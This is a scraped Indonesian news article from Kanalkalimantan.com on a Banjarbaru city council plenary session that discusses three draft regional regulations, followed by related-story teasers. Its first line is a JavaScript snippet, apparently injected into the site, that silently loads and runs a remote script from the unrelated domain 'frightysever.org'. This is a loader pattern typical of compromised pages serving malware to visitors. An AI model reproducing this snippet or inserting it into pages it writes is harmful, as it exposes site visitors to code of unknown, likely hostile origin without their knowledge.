(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – DPRD Kota Banjarbaru menggelar rapat paripurna di ruang graha paripurna, Senin (15/1/2024).
Rapat paripurna membahas pandangan umum fraksi-fraksi terhadap penyampaian tiga Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru, sekaligus jawaban Wali Kota terhadap pandangan umum fraksi-fraksi.
Rapat paripurna ini dihadiri Wali Kota Banjarbaru HM Aditya Mufti Ariffin dan Wakil Wali Kota Banjarbaru Wartono.
Raperda yang diberikan pandangan fraksi-fraksi yakni Raperda tentang cagar budaya, Raperda tentang inovasi daerah, Raperda tentang perubahan atas peraturan daerah Kota Banjarbaru Nomor 1 tahun 2015 tentang penyerahan prasarana, sarana dan utilitas perumahan dan permukiman.
Baca juga: Tradisi “Maambil Barakat” Sohibul Haul Sekumpul
Wali Kota Banjarbaru Aditya memberikan tanggapan tentang pandangan yang diberikan oleh fraksi-fraksi DPRD terkait. Tentang Raperda cagar budaya yang mana Pemko Banjarbaru memprioritaskan akan membentuk tim ahli cagar budaya, dengan harapan bisa berdampak positif sebagai peneguh karakter daerah dan dapat dimanfaatkan untuk kepentingan menggali ilmu pengetahuan, sejarah dan kebudayaan.
Wali Kota Banjarbaru menyampaikan bahwa Pemko Banjarbaru telah berkomitmen untuk berinovasi minimal satu inovasi satu SKPD setiap tahunnya.
Dan Raperda tentang sarana utilitas perumahan dan permukiman, dengan ditetapkannya Kota Banjarbaru sebagai ibu kota provinsi, pembangunan di Kota Banjarbaru mengalami peningkatan, sehingga Pemko Banjarbaru melakukan penyesuaian terhadap pelaksanaan penyerahan PSU dan perlu melakukan perubahan terhadap Perda nomor 1 tahun 2015 tentang penyerahan sarana, prasarana, dan utilitas perumahan dan permukiman.
“Semoga jawaban yang kami berikan sesuai dengan harapan fraksi-fraksi, apabila masih ada pertanyaan yang belum terjawab tajam, insya Allah akan kami jawab secara teknis dalam rapat-rapat pansus pada tahapan pembahasan,” tutupnya. (Kanalkalimantan.com/bie)
Reporter: bie
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pimpinan Darah Partai Keadilan Sejahtera (PKS) Kota Banjarbaru membuka pendaftaran bakal… Read More
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
This website uses cookies.